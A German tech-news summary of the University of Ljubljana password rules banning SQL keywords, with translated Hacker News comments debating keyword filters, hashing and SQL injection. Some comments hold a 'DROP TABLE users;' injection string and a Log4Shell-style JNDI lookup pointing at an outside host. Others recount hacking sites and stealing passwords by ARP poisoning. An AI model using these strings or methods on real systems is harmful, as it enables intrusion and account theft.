Wörter, die nicht als Passwort verwendet werden dürfen: select, insert, update, delete, drop

 (id.uni-lj.si)
2 Punkte von GN⁺ 2024-01-22 | 1 Kommentare | Auf WhatsApp teilen
  • Das Zurücksetzen des Passworts im ID-Portal der Universität Ljubljana verlangt den Benutzernamen sowie die zweimalige Eingabe des neuen Passworts, um Eingabefehler im Kontowiederherstellungsprozess zu verringern
  • Der Benutzername hat ein Format, das wie eine E-Mail-Adresse aussieht; als Beispiel wird js1234@student.uni-lj.si genannt
  • Das neue Passwort muss mindestens 10 Zeichen lang sein und darf keine leicht zu erratenden personenbezogenen Informationen wie Vor- oder Nachnamen enthalten
  • Es müssen mindestens 3 von 4 Kriterien erfüllt sein: Großbuchstaben, Kleinbuchstaben, Zahlen, Symbole -_.+@
  • Wörter wie select, insert, update, delete, drop dürfen ebenfalls nicht im Passwort verwendet werden; es werden also neben der Länge auch verbotene Muster geprüft

Eingabefluss beim Zurücksetzen des Passworts

  • Der Bildschirm besteht aus den Eingabefeldern Username, New password und New password confirmation
  • Alle drei Felder sind als required markiert
  • Der Benutzername hat ein Format, das wie eine E-Mail-Adresse aussieht
    • Ein Beispiel für den Benutzernamen von John Smith ist js1234@student.uni-lj.si
  • Das neue Passwort muss zur Verringerung von Tippfehlern zweimal eingegeben werden

Regeln für das neue Passwort

  • Das neue Passwort wird als Mittel zum Schutz der digitalen Identität des Nutzers behandelt
  • Leicht zu erratende Passwörter sollten vermieden werden
    • z. B. Vorname, Nachname, Name des Partners, Geburtsdatum
  • Das Passwort muss mindestens 10 Zeichen lang sein
  • Es darf weder den Vor- noch den Nachnamen des Nutzers enthalten
  • Mindestens 3 der folgenden Kriterien müssen erfüllt sein
    • Großbuchstaben des englischen Alphabets
    • Kleinbuchstaben des englischen Alphabets
    • Zahlen
    • Symbole: -_.+@

Nicht zulässige Wörter

  • Die folgenden Wörter dürfen im Passwort nicht verwendet werden
    • select
    • insert
    • update
    • delete
    • drop

Verwandte Beiträge

1 Kommentare

 
GN⁺ 2024-01-22
Meinungen auf Hacker News

  • Oh, diese Zeichenfolge habe ich eingebaut. Es war eine Anforderung des Managements, und ich kenne den Grund bis heute nicht
    Diese Website speichert keine Passwörter, sondern ist eher eine hübsch verpackte Oberfläche für ein externes Account-Management-System
    Ich habe Gerüchte gehört, dass die Validierung der Login-Felder einiger Legacy-Apps merkwürdig ist und Studierende sich mit Passwörtern, die bestimmte Zeichenfolgen enthalten, nicht anmelden können; konkrete Fälle kenne ich aber nicht

    • Umgekehrt könnte man alle Passwörter auf DROP TABLE users; setzen. Dann findet man schnell heraus, welcher Anbieter Passwörter extrem unsicher verarbeitet
      In diesem Fall würde das bedeuten, dass weder Benutzereingaben bereinigt noch Passwörter gehasht oder verborgen werden – das wäre auf dem Niveau einer gesellschaftlichen Zumutung
    • Bei einer Website war die maximale Länge des Felds „Neues Passwort erstellen“ größer als das maxlength-Attribut des Eingabefelds im Login-Formular
      Ich habe lange nicht verstanden, warum der Login per Autofill des Passwortmanagers funktionierte, aber nicht beim manuellen Eintippen oder Einfügen. Der Grund war, dass Autofill maxlength ignorierte
    • Ich frage mich, ob das nur eine Zeichenfolge auf der Seite ist oder ob die Validierungslogik sie tatsächlich blockiert

  • Es hieß, dass "script" nicht enthalten sein dürfe; als junger Teenager habe ich einmal die große Social-Plattform Nettby.no gehackt
    Sie entfernten einfach alle verbotenen Wörter, und script gehörte dazu

    • Natürlich hätte man das Skript zweimal ausführen müssen
    • Ich habe in der Schule auch Nettby gehackt. Das waren Zeiten
      Nettby hatte kein HTTPS, also habe ich per ARP-Poisoning als Man-in-the-Middle die Passwörter aller gestohlen und über die Accounts anderer Leute zufälligen Unsinn gepostet, um das Chaos zu beobachten. Geschnüffelt habe ich nicht; offenbar hatte selbst mein 14-jähriges Ich immerhin ein Mindestmaß an Ethik
    • Das war ein einfaches Problem. Man hätte einfach nur die spitzen Klammern entfernen müssen
    • LOL. Ich habe dasselbe auf der Coca-Cola-Website gemacht, und der Geschäftsführer des Unternehmens schickte mir einen verärgerten Brief und löschte meinen Account

  • Ich werde dafür vermutlich viel Kritik bekommen, aber zumindest in manchen Fällen halte ich das für eine vernünftige Idee
    In Organisationen gibt es viele Menschen, die schlechten Code und schlechte Systemarchitekturen bauen, und zu wenige Menschen mit Fähigkeit, Befugnis und Zeit, das aufzudecken und Änderungen durchzusetzen
    In den USA muss man oft zwangsläufig über miserabel programmierte Websites arbeiten, etwa bei regionalen Gesundheitsdienstleistern. In solchen Fällen kann es besser sein, davon auszugehen, dass die Implementierung – wie so oft – furchtbar sein könnte, und entsprechende Gegenmaßnahmen zu empfehlen
    Ob nominell verbotene Passwortmuster tatsächlich zugelassen werden, können Nutzer leicht testen und bei Aufsichtsbehörden beanstanden; von außen zu überprüfen, ob die Implementierung korrekt ist, ist dagegen nicht einfach
    Es ist weder elegant noch erfreulich, aber realistischerweise ist es vielleicht besser, zu akzeptieren, dass Dinge häufig schlampig umgesetzt werden und die Aufsicht unzureichend ist, und über Gegenmaßnahmen nachzudenken, die die schlimmsten Folgen verhindern

    • Ich stimme nicht zu. Auf dem Papier sieht das gut aus, erzeugt aber viel zu stark ein falsches Gefühl von Sicherheit
      Solche Sicherheitsmaßnahmen verdecken oft tiefere Probleme. Meist baut man solche Maßnahmen ein, weil Benutzereingaben nicht sorgfältig behandelt werden; die Annahme, dass das Sperren einiger Schlüsselwörter potenzielle Schwachstellen „neutralisiert“, lässt sich in der Regel leicht widerlegen. Siehe die Fälle eBay und JSFuck
      Ich hasse diese Denkweise. Ich bin überzeugt, dass Web Application Firewalls (WAF), faule Penetrationstests und Compliance-Checkboxen enorme Mengen an Sicherheitstheater erzeugt haben und Unternehmen glauben lassen, dass absurd schlecht geschriebene Software, die teilweise im öffentlichen Internet hängt, „sicher“ sei und man „die gebotene Sorgfalt“ habe walten lassen
      Das Ergebnis ist, dass ich per Post wieder einmal ein Entschuldigungsschreiben von einem Unternehmen bekomme, dem ich praktisch ohne echte Wahl meine Daten übergeben habe, weil meine sensibelsten Informationen erneut abgeflossen sind. Sicher haben sie meine Daten sehr geschätzt und sie deshalb über eine jahrzehntealte Schwachstelle in einer Java-Serialisierungsbibliothek stehlen lassen
      [1]: https://blog.checkpoint.com/research/ebay-platform-exposed-t...
    • Wenn eine Organisation eine solche Passwort-Policy hat, kann man das so deuten, dass die dafür verantwortliche Person glaubt, in der eigenen Organisation gebe es nicht genug Leute mit Kompetenz und Befugnis, SQL-Injection-Schwachstellen zu verhindern
      Für jede Institution wirft das ein schlechtes Licht, aber besonders gravierend ist es bei einer Universität, die eigentlich eine Bastion kompetenter und befugter Menschen sein sollte
      Als allgemeiner Passwortratschlag betrachtet, sollten eigentlich alle solche Schlüsselwörter in ihre Passwörter einbauen, damit Bugs schnell sichtbar werden. Sie sollten nicht verborgen bleiben und erst Angreifern zugutekommen
    • Passwörter sollten nicht einmal in die Nähe einer Datenbank kommen
      Man sollte sie salzen und danach hashen, und zwar hunderttausende Male, und dann mit dem in einer Datei gespeicherten Salt- und Hash-Wert vergleichen
      Wer nicht einmal das kann, ist nicht qualifiziert, Software zu schreiben, die Zugangsdaten speichert. Ernsthaft. Software-Sicherheit beginnt damit, anzuerkennen, dass Daten toxisch sind und ein Unternehmen in den Ruin treiben können, wenn man sie nicht respektiert
    • Das wirkt wie eine typische Defense-in-Depth-Falle: Engineering-Aufwand auf der falschen Ebene für ein Problem, das sich auf einer anderen Ebene viel effizienter lösen ließe
      Wenn man befürchten muss, dass ein System Klartextpasswörter in eine Datenbanktabelle schreibt, gibt es in diesem System noch eine Million andere Dinge, die furchtbar schiefgehen können. Was macht man zum Beispiel, wenn ein DBA SQL von Stack Overflow kopiert und einfügt?
      Wenn eine Organisation inkompetente Ingenieure hat, sollte sie diese kein eigenes Authentifizierungssystem implementieren lassen, sondern lieber ein weit verbreitetes Open-Source-Framework oder ein kommerzielles Produkt verwenden
    • Ich weiß nicht, welchen Angriffspfad das verhindern soll
      Wenn der Authentifizierungsfluss irgendetwas anderes tut, als das Passwort zu salzen, zu hashen und anschließend das ursprüngliche Klartextpasswort zu verwerfen, sollte man das gesamte System überhaupt nicht verwenden

  • Schon okay. Dann nimmt man eben truncate

  • Das Lustigste an der Situation ist, dass sie nicht einmal alle verbotenen Zeichenfolgen prüfen
    Quelle: Ich bin Student an dieser Hochschule und habe es aus Neugier selbst ausprobiert

    • Wenn etwas kaputtgeht, werden sie wahrscheinlich diesen Haftungsausschluss als Vorwand nehmen, um dir die Schuld zu geben
    • Wenn das Risiko bei einem Regelverstoß die Exmatrikulation ist, dürfte es leicht sein, Compliance sicherzustellen

  • Statt SQL-Injection durch geeignete Stored Procedures und andere Techniken von vornherein unmöglich zu machen, werden nur ein paar Keywords gesperrt und man hofft, dass Hacker nicht auf Methoden kommen, an die man selbst nicht gedacht hat, etwa Escape-Tricks.
    Eine Weile funktioniert das wahrscheinlich, aber nur bis jemand beweist, dass es nicht funktioniert.
    Dafür zu sorgen, dass Benutzereingaben nicht mit SQL vermischt werden, ist heute keine Raketenwissenschaft mehr. Wir haben nicht mehr 2005.
    Wenn das überhaupt wirkt, bedeutet es von Anfang an, dass Passwörter ungehasht gespeichert werden, und das war schon 2005 dumm. Bei Benutzernamen oder anderen Eingabefeldern wäre dieselbe Methode etwas nachvollziehbarer, aber Passwörter sollten niemals auf diese Weise in die Datenbank gelangen.

    • In der Firma haben wir einmal diskutiert, wie man strukturierte Daten als Werte von HTTP-Request-Headern serialisieren könnte. Reflexartig sagte ich: „die ASCII-Teilmenge von JSON ohne Zeilenumbrüche“, aber das wurde aus mehreren Gründen verworfen. Vielleicht wegen zu viel Interpunktion oder weil es für Chinesisch zu ausschweifend sei.
      Jemand schlug durch Pipes getrennte Felder vor, aber auch das wurde verworfen. Die Begründung war ungefähr: „Früher haben einige Kunden-Proxys Header abgelehnt, die Pipe-Zeichen enthielten.“
      Voodoo-Programmierung entsteht nicht immer nur durch mangelnde Recherche. Sie entsteht auch, wenn man weiß, dass früher etwas schiefgelaufen ist, aber keine Belege hat und keine Möglichkeit, angemessen darauf zu reagieren.
      Persönlich würde ich es einfach ausrollen und schauen, ob etwas kaputtgeht, und es dann bei Bedarf nachträglich mit den Kunden klären. Aus offensichtlichen und guten Gründen ist diese Vorgehensweise unpopulär, also haben wir das Pipe-Zeichen am Ende nicht verwendet.
    • Anfang 2005 oder so habe ich meine erste Datenbank-App gebaut, und es war nicht besonders schwer, Benutzerdaten nicht mit SQL zu vermischen.
      Die CGI-Skripte liefen wahrscheinlich auch im taint mode. Erinnert sich noch jemand daran?
    • „Wenn das überhaupt wirkt, bedeutet es von Anfang an, dass Passwörter ungehasht gespeichert werden“ stimmt nicht zwingend.
      Ein RDBMS kann Hash-Funktionen unterstützen, also könnte man etwa UPDATE USERS SET PASSWORD = SHA2($PASSWORD) speichern. In diesem Fall ist man zwar anfällig für SQL-Injection, speichert aber keine ungehashten Passwörter.
      Es gibt gute Gründe, Hashing in der Anwendungsschicht zu empfehlen, aber wenn man korrekt parametrisierte Queries verwendet, ist es auch nicht so furchtbar, es in der Datenbank zu tun.
    • Allein die Tatsache, dass dieser Beitrag auf der Startseite gelandet ist, bedeutet, dass das, was hier erklärt wird, für diese Leserschaft eine Selbstverständlichkeit ist.

  • Puh, das wird man nie erwischen. Mein Passwort ist ${jndi:ldap://hunter2.com/totallylegit}.

    • Nein. Das ist weder eine gültige LDAP-URL noch eine gültige Domain.
      Domains dürfen nur ASCII-Zeichen a-z und Ziffern 0-9 enthalten; Sternchen sind nicht erlaubt. Das einzige zulässige Symbol ist der Bindestrich, und der darf auch nicht am Anfang oder Ende stehen.

  • Optimistisch betrachtet könnte diese Anforderung von einer übermäßig strengen Web Application Firewall (WAF) stammen.

    • Oder von einem vermurksten „Framework“ beziehungsweise einer Tool-Sammlung mit mieser Architektur.
      Andere Kommentare sehen das als „Beweis“ für schlechte Anwendungssicherheit, aber so weit würde ich nicht gehen. Man kann allerdings schon schließen, dass ein Teil des Stacks lausig implementiert ist.
    • Dann würde das bedeuten, dass die WAF ungehashte Passwörter sehen kann, und das ist überhaupt nicht gut.
    • Ich frage mich, wofür WAF steht.

  • Klingt nach einem Überbleibsel aus einem Altsystem. Ich habe schon gehört, dass einige Universitäten und Banken für zentrale Authentifizierung alte Mainframes einsetzen.
    In manchen Fällen wurden Passwörter angeblich im Klartext gespeichert, auf 8 Zeichen gekürzt und nur Großbuchstaben zugelassen.
    Der Hauptgrund, solche Systeme nicht zu modernisieren, sind, zumindest nach dem, was ich gehört habe, Kosten und Komplexität. Statt $$$$ auszugeben, um ein laufendes System zu aktualisieren, gibt man lieber nur $ aus, beschränkt Passwörter und fügt grundlegende „Sicherheit“ hinzu.

  • Vor ein paar Jahren habe ich eine App gebaut, die Beiträge über die WordPress-API veröffentlicht. Die Kunden hatten WordPress jeweils in ganz unterschiedlichen Hosting-Umgebungen installiert, mit diversen „Sicherheits“-Funktionen.
    Wir bekamen einen Bugreport, dass beim Veröffentlichen eines Blogposts der Vorgang fehlschlug und ein leerer Inhalt hochgeladen wurde. Solche Sicherheits-Plugins scannten lange Blogbeiträge und ersetzten, wenn sie etwas wie .... select from fanden, den entsprechenden POST-Parameter durch einen leeren String.
    Ich habe auch ähnliche Kunden-Bugreports gesehen, bei denen in einem JSON-Feld einer von unserem Server gesendeten Anfrage in HTML-Text obfuskiertes JavaScript injiziert war. Ich war nicht sicher, ob das von einem „Sicherheits“-Plugin oder von Malware kam.

    • Früher hatten wir einmal das Problem, dass nur eine kleine Zahl von Requests bei einer bestimmten Seitengruppe fehlschlug. Zuerst stellte ich fest, dass alle URLs select enthielten, meistens als Teil eines Parameternamens wie itemselect. Also suchte ich irgendwo im Stack nach einem WAF-ähnlichen Filter.
      Am Ende fand ich eine alte Konfiguration auf dem Proxy-Server, die noch aus der Zeit vor dem Einsatz einer kommerziellen WAF stammte und nach SELECT.*UNION suchte.
      Als ich mir die URLs noch einmal ansah, hatten sie alle auch einen Parameter wie company=credit+union. Ich schlug die Hände vors Gesicht, entfernte diesen Code, und an anderer Stelle gab es bereits genug Schutzmaßnahmen.